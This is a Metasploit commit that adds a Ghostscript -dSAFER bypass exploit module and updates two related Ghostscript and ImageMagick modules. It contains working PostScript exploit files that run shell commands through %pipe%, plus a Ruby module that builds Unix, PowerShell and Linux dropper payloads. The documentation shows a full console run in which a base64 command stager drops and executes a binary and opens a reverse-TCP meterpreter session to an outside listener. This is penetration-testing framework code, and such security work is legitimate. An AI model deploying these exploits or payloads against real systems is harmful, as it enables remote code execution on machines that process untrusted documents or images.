Land #10564, Add Ghostscript exploit from taviso

4.x
Wei Chen 2018-09-05 21:07:50 -05:00 committed by Metasploit
parent 85475507b9
commit eb39f6da51
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
6 changed files with 310 additions and 26 deletions

View File

@ -0,0 +1,9 @@
%!PS
userdict /setpagedevice undef
a0
currentpagedevice /HWResolution get 0 (metasploit) put
{ grestore } stopped pop
(ppmraw) selectdevice
mark /OutputFile (%pipe%echo vulnerable > /dev/tty) currentdevice putdeviceprops
{ showpage } stopped pop
quit

View File

@ -0,0 +1,81 @@
%!PS
% This is ghostscript bug #699687 (split out from bug #699654)
% ImageMagick define setpagedevice, just remove their definition. This doesn't
% do anything if not using ImageMagick.
userdict /setpagedevice undef
% function to check if we're on Linux or Windows
/iswindows {
% Just checking if paths contain drive
null (w) .tempfile closefile 1 get 16#3A eq
} def
% just select a papersize to initialize page device
a0
% The bug is that if you can make grestore or restore fail non-fatally,
% LockSafetyParams isn't restored properly. grestore will fail if you set crazy
% properties in your pagedevice, like a nonsense resolution.
%
% Normally it would be something like [72.0 72.0], but you can't just def
% HWResolution to something else (for example), because it's readonly:
%
% GS>currentpagedevice wcheck ==
% false
%
% But you can just put or astore into it, because the array itself is writable:
% GS>currentpagedevice /HWResolution get wcheck ==
% true
%
% Lets just put some junk in there.
currentpagedevice /HWResolution get 0 (foobar) put
% This grestore will fail, stopped just catches the error instead of aborting.
{ grestore } stopped pop
% Now LockSafetyParams will be incorrectly unset, you can check like this:
% GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
% false
% We can change and configure devices now, so make sure we're using one with
% a OutputFile property.
(ppmraw) selectdevice
% Check if we're on Windows or UNIX
iswindows {
% This is Windows, gswin32c.exe supports %pipe%, so you can just run calc.exe.
%
% The graphical version doesn't seem to support %pipe%, but you can create
% arbitrary files. If something is using the api (gs32dll.dll), it may or
% may not support %pipe%.
/getstartupdirwindows {
% This figures out startup location from %TEMP% (Tested on Win10)
(C:\\USERS\\XXXXXX~1\\STARTM~1\\PROGRAMS\\STARTUP\\)
dup 0 null (w) .tempfile closefile 0 18 getinterval putinterval
} def
% (directory) (extension) randfile (result)
/randfile {
% pick a random filename
exch rand 32 string cvs concatstrings exch concatstrings
} def
mark /OutputFile (%pipe%calc.exe) currentdevice putdeviceprops
% if you need to create files, use txtwrite like this:
%mark /OutputFile getstartupdirwindows (.bat) randfile
% { (txtwrite) selectdevice } stopped pop putdeviceprops setdevice
%0 0 moveto
%(REM This is an exploit demo\n) show
%(calc.exe\n) show
} {
% This is UNIX, just run a shell command
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
} ifelse
{ showpage } stopped pop
quit

View File

@ -0,0 +1,77 @@
## Intro
This module exploits a `-dSAFER` bypass in Ghostscript to execute
arbitrary commands by handling a failed `restore` (`grestore`) in
PostScript to disable `LockSafetyParams` and avoid `invalidaccess`.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
`exploit/unix/fileformat/ghostscript_type_confusion`
`exploit/unix/fileformat/imagemagick_delegate`
## Setup
Install Ghostscript and use the console command (`gs` on Unix and
`gswin64c` on Windows). You may also exploit the vulnerability through
ImageMagick using `convert` or `identify`, for example.
## Targets
```
Id Name
-- ----
0 Unix (In-Memory)
1 PowerShell (In-Memory)
2 Linux (Dropper)
```
## Options
**FILENAME**
Set this to the output file's name. Depending on the target environment,
the file extension may not matter, so the PS file could be named
`msf.pdf`, for instance. This can potentially work around filename
filters.
**WritableDir**
Set this to a writable directory without `noexec`.
## Usage
```
msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
target => Linux (Dropper)
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
disablepayloadhandler => false
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
wfsdelay => 3600
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
verbose => true
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run
[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.0.2.15
OS : Ubuntu 16.04 (Linux 4.4.0-134-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

View File

@ -0,0 +1,117 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
PLACEHOLDER_STRING = 'metasploit'
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'Ghostscript Failed Restore Command Execution',
'Description' => %q{
This module exploits a -dSAFER bypass in Ghostscript to execute
arbitrary commands by handling a failed restore (grestore) in
PostScript to disable LockSafetyParams and avoid invalidaccess.
This vulnerability is reachable via libraries such as ImageMagick,
and this module provides the latest vector for Ghostscript.
For previous Ghostscript vectors, please see the following modules:
exploit/unix/fileformat/ghostscript_type_confusion
exploit/unix/fileformat/imagemagick_delegate
},
'Author' => [
'Tavis Ormandy', # Vuln discovery and exploit
'wvu' # Metasploit module
],
'References' => [
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
],
'DisclosureDate' => 'Aug 21 2018',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'win'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'Payload' => {'Space' => 4089, 'DisableNops' => true} # 4096 total
],
['PowerShell (In-Memory)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_memory
],
['Linux (Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def exploit
sploit = template
# Replace our placeholder string with a random one
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
# Replace our test payload with the real one
case target['Type']
when :unix_memory
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
when :psh_memory
psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
# XXX: Payload space applies to the payload, not the PSH command
if psh.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller payload')
end
sploit.sub!(PLACEHOLDER_COMMAND, psh)
when :linux_dropper
cmdstager = generate_cmdstager(
linemax: targets[0].payload_space,
temp: datastore['WritableDir']
).join(';')
# XXX: Payload space applies to the payload, not the command stager
if cmdstager.length > targets[0].payload_space
fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
end
sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
end
file_create(sploit)
end
def template
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
))
end
end

View File

@ -14,8 +14,11 @@ class MetasploitModule < Msf::Exploit
'Description' => %q{
This module exploits a type confusion vulnerability in Ghostscript that can
be exploited to obtain arbitrary command execution. This vulnerability affects
Ghostscript version 9.21 and earlier and can be exploited through libraries
Ghostscript versions 9.21 and earlier and can be exploited through libraries
such as ImageMagick and Pillow.
For more recent Ghostscript vectors, please see the following modules:
exploit/multi/fileformat/ghostscript_failed_restore
},
'Author' => [
'Atlassian Security Team', # Vulnerability discovery
@ -35,22 +38,12 @@ class MetasploitModule < Msf::Exploit
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' => {
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
'Compat' => {
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'generic netcat bash-tcp'
}
'BadChars' => "\x22\x27\x5c)(" # ", ', \, (, and )
},
'Targets' => [
['EPS file', template: 'msf.eps']
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'LHOST' => Rex::Socket.source_address,
'DisablePayloadHandler' => false,
'WfsDelay' => 9001
}
'DefaultTarget' => 0
))
register_options([

View File

@ -22,7 +22,12 @@ class MetasploitModule < Msf::Exploit
The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
(discovered by taviso) to achieve RCE in the Ghostscript delegate.
Ghostscript versions 9.18 and later are affected.
Ghostscript versions 9.18 and later are affected. This target is
provided as is and will not be updated to track additional vulns.
For more recent Ghostscript vectors, please see the following modules:
exploit/multi/fileformat/ghostscript_failed_restore
exploit/unix/fileformat/ghostscript_type_confusion
If USE_POPEN is set to true, a |-prefixed command will be used for the
exploit. No delegates are involved in this exploitation.
@ -30,6 +35,7 @@ class MetasploitModule < Msf::Exploit
'Author' => [
'stewie', # Vulnerability discovery
'Nikolay Ermishkin', # Vulnerability discovery
'Tavis Ormandy', # Vulnerability discovery
'wvu', # Metasploit module
'hdm' # Metasploit module
],
@ -41,7 +47,8 @@ class MetasploitModule < Msf::Exploit
%w{URL http://seclists.org/oss-sec/2016/q3/682},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
%w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
%w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669},
%w{AKA ImageTragick}
],
'DisclosureDate' => 'May 3 2016',
'License' => MSF_LICENSE,